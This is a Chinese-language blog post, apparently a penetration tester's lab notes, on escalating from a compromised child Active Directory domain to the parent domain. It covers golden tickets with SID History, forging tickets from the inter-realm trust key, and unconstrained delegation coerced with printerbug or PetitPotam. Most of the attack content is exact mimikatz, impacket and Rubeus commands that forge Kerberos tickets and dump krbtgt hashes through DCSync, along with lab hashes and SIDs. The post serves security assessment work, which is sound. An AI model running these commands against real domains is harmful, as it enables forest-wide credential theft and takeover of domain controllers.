跨域攻击
前段时间帮几个客户做AD攻击面排查,发现有域林,但跨域攻击还不太会,看网上相关文章也不多,特地记录一下几种攻击方式。
环境介绍
父域:moon.lab
两个域控 ad-server.moon.lab = 10.10.10.1 certserver.moon.lab = 10.10.10.2
子域:a.moob.lab
一个域控 B-AD.a.moon.lab = 10.10.10.5
目前已经控制了子域的一台机器当做入口点,由于懒得打域控,就直接用域管账号密码,当做是拿下域控后进行操作
黄金票据 + SID History
要使用黄金票据+SIDHistory
必须要有以下几个条件
- 当前域SID
- 父域Enterprise Admins账户的SID
- 当前域
krbtgt
账户的hash
krbtgt的hash通过dcsync去获取就行了
以下演示一下如何获得以上信息,首先是当前域的SID,可以通过adfind
、adexplorer
获得
查询SID
ADExplorer
连接上adexplorer之后点击当前域查看objectSid属性
成功获得sid为S-1-5-21-3630734435-3836532205-689166442
Adfind
使用以下命令指定查询administroatr用户的sid
1 | adfind.exe -sc u:administrator objectsid |
这里查询出两个用户的SID,一个是父域的一个是子域。
而父域的Enterprise Admins用户的SID为父域SID-519即S-1-5-21-4135803656-2414268689-2214011370-519
伪造票据
现在整理一下前面收集的信息
1 | krbtgt hash:1d5267a559913316b91e6e5de976d7b7 |
接着伪造黄金票据
1 | kerberos::golden /user:Administrator /domain:a.moon.lab /sid:S-1-5-21-3630734435-3836532205-689166442 /sids:S-1-5-21-4135803656-2414268689-2214011370-519 /krbtgt:1d5267a559913316b91e6e5de976d7b7 /ptt |
接着用dcsync去dump父域的hash测试是否成功
1 | mimikatz lsadump::dcsync /domain:moon.lab /user:moonlab\krbtgt |
可以看到成功的导出,说明成功拿到父域权限
inter-realm key+SID History
跨域和普通的域认证有所不同,跨域认证需要个 inter-realm key,这个key就在两个信任域当中都存在。获取到 inter-realm key 就能制作访问其他域任意服务的 ST 服务票据了。然后在 ST 服务票据中加上企业管理员的 SID History,就可以以企业管理员权限访问域林中的任意服务。
那么该如何拿到这个key呢?只要获得了域林中任意域的域控制器权限,即可通过相关工具查询出key。
以下演示一下如何通过mimikatz和impacket工具获取这个key
获取inter-realm key
mimikatz
需要在域控上执行以下命令
1 | mimikatz lsadump::turst /patch |
需要看从子域到父域的rc4_hmac_nt就是key
正常都知道在域内加了$符号的是机器账户。在域林内就不一样,在users组中带有$符号的就是信任账户,信任账户的ntlmhash就是key,所以我们去获取这个账户的hash即可。有以下两种方式找到这个账户
powershell
使用这句就能查到,但实战中可能环境问题powershell不方便,可以用另外一种方法
1 | Get-ADUser -filter * -Properties DistinguishedName,samAccountType | ?{$_. name -like "*$"} |
Adfind
打开users组就能看到,实战推荐用这个查找
之后通过secretsdump获取hash即可
伪造票据
总结一下上面的信息
1 | key hash:f6e0688688a20c4fbc217cc139926300 |
然后用ticketer.py去申请个TGT票据
1 | python3 ticketer.py -nthash f6e0688688a20c4fbc217cc139926300 -domain-sid S-1-5-21-3630734435-3836532205-689166442 -extra-sid S-1-5-21-4135803656-2414268689-2214011370-519 -domain a.moon.lab -spn krbtgt/moon.lab administrator |
申请完TGT票据需要导入一下
1 | export KRB5CCNAME=administrator.ccache |
可以用klist -l
查看
接着去申请一个父域CIFS的ST票据
1 | python3 getST.py -k -no-pass -spn cifs/ad-server.moon.lab -dc-ip 10.10.10.1 moon.lab/administraotr |
这里有个坑,在申请的时候会提示Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)这个就是时间不同步的,只要改一下时间就可以,但是这里得要同步的时间不是父域的时间
这个时间是父域的时间,但是也不太对,后面改成子域的时间就ok了
接着再导入一下ST票据,然后用secretsdump去导出父域的hash,成功导出
1 | python3 secretsdump.py -no-pass -k a.moon.lab/[email protected] -just-dc-user "moonlab\krbtgt" -dc-ip 10.10.10.1 |
非约束委派
在域控上默认是开非约束委派的,所以当我们拿到子域的域控,就可以利用非约束委派来攻击父域的域控。
要用rubeus进行监听
1 | Rubeus.exe monitor /interval:1 /filteruser:AD-SERVER$ /nowrap |
接着就用printerbug或者PetitPotam打触发就ok